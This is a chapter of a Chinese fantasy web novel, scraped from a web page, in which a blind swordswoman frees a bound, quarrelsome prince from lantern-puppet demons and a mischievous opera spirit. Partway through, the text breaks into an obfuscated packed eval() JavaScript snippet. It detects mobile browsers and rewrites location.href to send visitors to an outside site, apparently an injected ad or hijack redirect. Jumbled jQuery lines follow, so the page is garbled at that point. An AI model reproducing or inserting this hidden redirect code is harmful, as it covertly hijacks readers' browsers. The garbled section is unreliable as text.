6. 缘分宿命逢
作品:《如何抱好一条大腿GB》 那边的宋鹤林脸已经快扭成麻花,眉头皱的死紧,小嘴叭叭个不停。
“这么想去给城主府小姐当狗?你这么恨嫁要不就你过去吧?把你打扮打扮说不定城主夫人都能看上你把你押回去当外室,还当什么童养夫啊?要是你实在中意城主府小姐也没有关系啊,你一人同侍两人也可以啊。这谁不得夸你一句有福气。”
“还享福?哎哟哟你要不去试一试这福气?青州的城主府啊,要是攀上了这高枝你还赖着你这夫君干嘛,图他年纪大不洗脚,图他没头发地中海,还是图他口气能熏死十头牛不带拐弯?”
“瞧瞧,婶婶你这算盘打的,你夫君脸都被你蹦出来的算盘珠子打歪了呢。啊原来本来就是长成这样啊,不是啊婶婶你可别误会,我可不是说你挑了个歪瓜裂枣还喜滋滋以为捡到宝了。”
其实战局原本是宋鹤林一人单挑全场的压倒性胜利,但可惜的是——对面和他皇兄皇姐一样玩不起,骂不过就上来把桌子一掀。
灯傀从屋子里走了出来,屋子里黑压压地在鹤林面前站了一排的灯傀。
“说啊,你小子不是很能说吗?怎么不接着往下说了啊?”面前站着的正是“徐郎”的妯娌之一。
宋鹤林面色一歪,根据他的人生信条——输人不能输阵,人活一世争口气。他还是硬着头皮开口,再不济也有他仙人姐姐兜底。
“哟哟,你瞧,又急。”
....最后的下场就是灯傀应召出手,照着宋鹤林的肚子给他来了几拳。
小左剑感受到威胁从他怀着飞了出来,一柄剑就这样杵在宋鹤林的面前用暖暖的剑光将他笼罩。
宋鹤林有了小左剑在他面前,顿时又来了底气。
“往下说?我怕我往下说你怕是面子里子都保不住了,叔叔。”
宋鹤林角色代入得倒是十分快,就已经代入徐郎的角色定位开始喊起叔叔来了。
“啊,小右,你确定你没有感受错?小左它真的在这个方向嘛,我怎么又走到死胡同里来了。”
一边岁月静好仙人迷路,一边水深火热炮仗点火。
.....
宋鹤林扭了扭被几只灯傀重重制住的手腕,试图唤醒被人多势众打得一剑难敌多手已经开始装死的小左剑。
“这口气今天也不是非得在这里出,我或许可以出去慢慢地呼出这口气。”
银官一路走来,不知道打破了几面墙,终于——走到了徐府门口。
却见得徐府门口不知何时已经高高挂起了红绸,院子里还可以听得见小殿下传来的骂声。
“我只听说过可以强买强卖,可没听说过有什么强嫁强娶的。实话告诉你们吧,我可不是可以任人宰割的独身徐郎,大胆,看见当朝九皇子,还不解了我的绑!就算是我要成婚,也该是由圣上赐皇婚,哪能轮得到你们这些宵小随意乱点鸳鸯谱!”
银官听见小殿下的骂声不觉好笑,抬步走了进去。小左剑像是在外受了欺负的野孩子一样,感受到了熟悉的气息便似倦鸟归林向银官扑来。
双剑已归,纵然是身有旧伤,纵然是刚献血卦——区区灯傀,银官还没有把这种低等的,因贪欲而生的妖物给放在眼里。
院子里已经没了灯傀的踪迹,只剩下了那几个当初徐柯的妯娌。
“哟,好脸熟啊。几位从青州远道而来凑这个热闹?”刚刚在城中和那一群血祭的灯傀对打的时候银官就听着那个声音觉得耳熟。
那几个人看着面前白衣染血,其间还混杂着无数灯傀的绿色汁液的时候就开始双腿发抖了。
“仙人饶命,实在是那妖物逼我们来这里配合它的,我们也是没办法的啊。”
“没办法?哈,小爷我真是听到了这世上最好笑的笑话,没办法借幻境对仙人姐姐再出出气?没办法真正支使那些妖物来为你们谋一谋徐郎的荣华富贵?”不待银官开口,宋鹤林便出声呛道。
银官抱手静静听着小殿下继续输出。
“被逼,谁逼你们了?谁逼你们对用灯傀照着我家仙人姐姐出气,百般碍事还倒打人家一耙说是被逼的。叔叔要不说你这嘴巴实在是把婶婶熏得受不了都不愿意和你正面说话了呢,换谁谁不说一句这嘴真是干啥啥不行,当搅屎棍倒是挺在行。”
别说,还挺有意思,就差一盘瓜子,银官就能在这里嗑起来了。
只可惜,戏伶见不得银官这个主角在戏折中反而看起戏来,挥手将那些无用的妯娌给带走,接着用着阴森森的调调朝着二人开口。
“缘分天定的相遇,小观音还有徐郎,你们可别忘了,初见我可为你们铺垫了好久,一定要特别,一定要与众不同——”
“好了好了,知道了,别念叨了,好好的一个戏伶,怎么跟个女鬼一样。”银官随意地摆手,继续抬步顺着声音朝着宋鹤林走去。
宋鹤林终于知道为什么戏折子里能写出这么多乱七八糟的唱词了,那一瞬他瞧见仙人姐姐一步踏碎灯傀的枯枝,轻轻笑着走进来。他不用再顾忌自己被恶毒妯娌饿虎扑食,不用再被灯傀制住手脚任人宰割。
打定主意了,这根大腿他宋鹤林抱定了。
“小殿下,出去之后记得给我结账,一共为你打了三卦。”
宋鹤林:??
白感动了,还有,不是才两卦吗?什么时候变成三卦了?
鹤林不敢说又不敢问啊,只弱弱地应了一句好。刚刚舌战群雄的小炮仗一下子哑火了——他也看见了仙人姐姐白袍上的血渍。灯傀的汁液是绿色的,戏伶好端端地站在一旁,那血是谁的自然不言而喻。
“嗯?还不起来?你还想继续被送进城主府去享福?”
“仙人姐姐,哪里是我不想起来啊,你看不见吗?我已经快被那些人给捆成粽子了。”宋鹤林被五花大绑捆在椅子上,整个人只有嘴巴和眼睛还能动一动。
“啊你猜对了,我还真就看不见呐。”
许是银官并没有像其他盲眼之人一样将自己的眼睛给蒙起来的缘故,行动又自如,听声辩位已经到了出神入化的地步,打架还厉害。鹤林总是会下意识地以为仙人姐姐与常人无异。
空气中静默了一瞬,随后鹤林才恍然回神,抿了抿嘴,眉眼也垂下。
“对...对不起啊。仙人姐姐,我一时嘴快。”
“小殿下自谦了,何止是嘴快?这小嘴皮子啪嗒啪嗒开合就能把一群人说的脸都绿了呢。我许久不曾往盛京去了,没想到盛京城还有像小殿下一般的有趣人物。”
银官其实没怎么在意自己眼盲的事情,小殿下一下子小心翼翼地道歉倒是让她觉得有些新奇。九疑山上的师妹师弟都快把她当成推磨的驴了,干啥不行都是——师姐会出手的!
这世间银官游历了多年,剑不知出鞘了几千回,每日三卦也不知已经打了多少天。许多人都快忘了,观音仙人是个瞎子了。
“没什么要紧的啦,嗯,我来帮你把绳子解开吧。赶紧赶紧,我带你离开这里。免得外头又开始传我们九疑山心高气傲,纵容一个皇子在山脚下被妖物给欺负了去。”银官不着痕迹将静止的气氛变成打趣的开头。
“仙人姐姐,我才不会让外头这么传呢,再说,有你护着我,哪里会让我被欺负了去。”
银官凭着声音走向鹤林想给他松绑。
又听见了戏伶幽幽的声音——“缘分天定,宿命相逢~”
......
银官没了脾气,开口,“小公子,青州泥沼已散,你不必自苦,也不必受人胁迫。”
鹤林听见了银官开口说出了他最想听到的那句话——“若是你愿,可与我一同回山。”
宋鹤林当即开口答应,生怕银官反悔一样。
“愿意的愿意的,仙人姐姐这可是你自己说的哈!你自己说的愿意收留我回九疑山的,可不是我逼你的。”
银官扶额,凑上前用着气音在宋鹤林耳边说着。
“想得美,别想让我掺和你们皇家的乌糟事。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107335|163941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>宋鹤林像是被泼了一整盆凉水的小狗,又做了回哑巴。乖乖等着仙人姐姐上来给他松绑,脑子里盘算着要不再孔雀开屏,给仙人姐姐展示展示收留他并没有坏处。
那双冰凉的手在宋鹤林身上摸索着,背后,腰间,总之银官把寻常捆人能绑绳结的地方都摸索了个遍,还是依旧没能找出可以解开鹤林束缚的绳结
倒是反而把小殿下闹出来了个大脸红,鹤林的感官基本跟着仙人姐姐的手游走。半晌他才支支吾吾地问道:“还...还没....解开吗?”
“不对呀,照理来说捆人的绳结不应该就在这几处了吗?怎么回事?我竟然还没摸到绳结?”
银官抽出来了小左剑,想着将绳子给直接斩断。
锋利的剑锋挑出了宋鹤林身上的一段绳子,银官小心翼翼地开始使劲以防剑锋伤着了小殿下。
叮叮咚咚一顿操作,绳子依旧没有要断开的迹象。
宋鹤林保持着一个姿势被绑在椅子上,面前就是仙人姐姐近在咫尺的小左剑剑锋。
虽说小左剑和他待了这么久,他也知道小左剑是个温温柔柔的性子——但是,这种情况,这种姿势,怎么看他都会害怕的好吧?!
“啧,为什么斩不断。小殿下,他们给你绑的什么绳子啊?”
宋鹤林注意力一直在面前的剑尖上,咽了口唾沫后开口,“我也...也不知道啊。”
戏伶笑嘻嘻的声音又一次适时开口。
“啊,小观音解不开啊。我来告诉你好了,这绳子既没有绳结,也不是灵剑可以斩开的。其实...要解开也挺容易的,绳子上有一处机关,摁开这处机关就可以解开绳子啦。怎么样?这绳子是不是别有心意,这小公子是不是我见犹怜。”
....还能怎么说?只能说戏伶这妖怪的恶趣味实在是多,先前说要真情还不算,还偏要什么缘分天定的相遇。还有——这已经不能算是缘分天定的相遇了好吧,分明就是沉迷戏本子里缠绵悱恻的美救英雄,硬生生让她银官去演一出恶俗戏码。
银官看不见所谓机关,怎么才能把小殿下身上的绳子给解开呢?自然是在他身上摸索出那个机关,绳子才能解开。银官看不见,刚刚的摸索也是浮于表面只略微试探,想着摸出突兀的绳结就好动手解开了,就这几下鹤林都整的面红耳赤,更别说他整个人都被刚刚那样试探一遍了。
“这哪里是什么缘分天定的相遇啊,戏伶你怕是要把这个观音仙人变成流氓仙人了吧。”
旁边的宋鹤林也终于反应了过来,“去你的别有心意,去你的我见犹怜。”两句直白了当的骂声表明了宋鹤林心中的不满。
“欺负仙人姐姐看不见是吧,你是不是以为你特别聪明?想出个这样的法子是不是得夸您老颇有巧思?想死就直说,识相地就赶紧给我解开,不用仙人姐姐动手本殿亲手就来了结了你。”
骂骂咧咧的声音不停,只是小殿下耳尖的一抹热意却暴露了他。
只可惜,银官依旧是看不见的。她依旧上前,冰凉的手指搓捻着那条紧紧绑缚住宋鹤林的绳子。
“仙人...姐姐.....你...现在....要解绳子了么?”
“这回开始结巴了,刚刚跟个连珠炮似的呢。”银官收回了手,宋鹤林也跟着松了一口气。
紧接着双剑都被银官召出,安分地躺在银官的手心里。
宋鹤林看着刚刚游走在他身上试探的指尖轻轻点了下小左剑和小右剑,两柄剑刹那就变成了一段布条,一半绣着银纹宝莲,一半倒看着像业火焚楼。
银官一边将那段奇异的布条绑在自己的眼睛上,一边对着小殿下开口。
“放宽心,小殿下。我还真不想就这样被迫变成流氓仙人。”
那双手不再像之前那次那般毫无章法地试探去寻绳结,她仿佛粗略地扫两眼就找到绳子上那一处颜色不同的机关,寻到暗扣将其解开。
——整段过程行云流水,就好像她能看见了一般。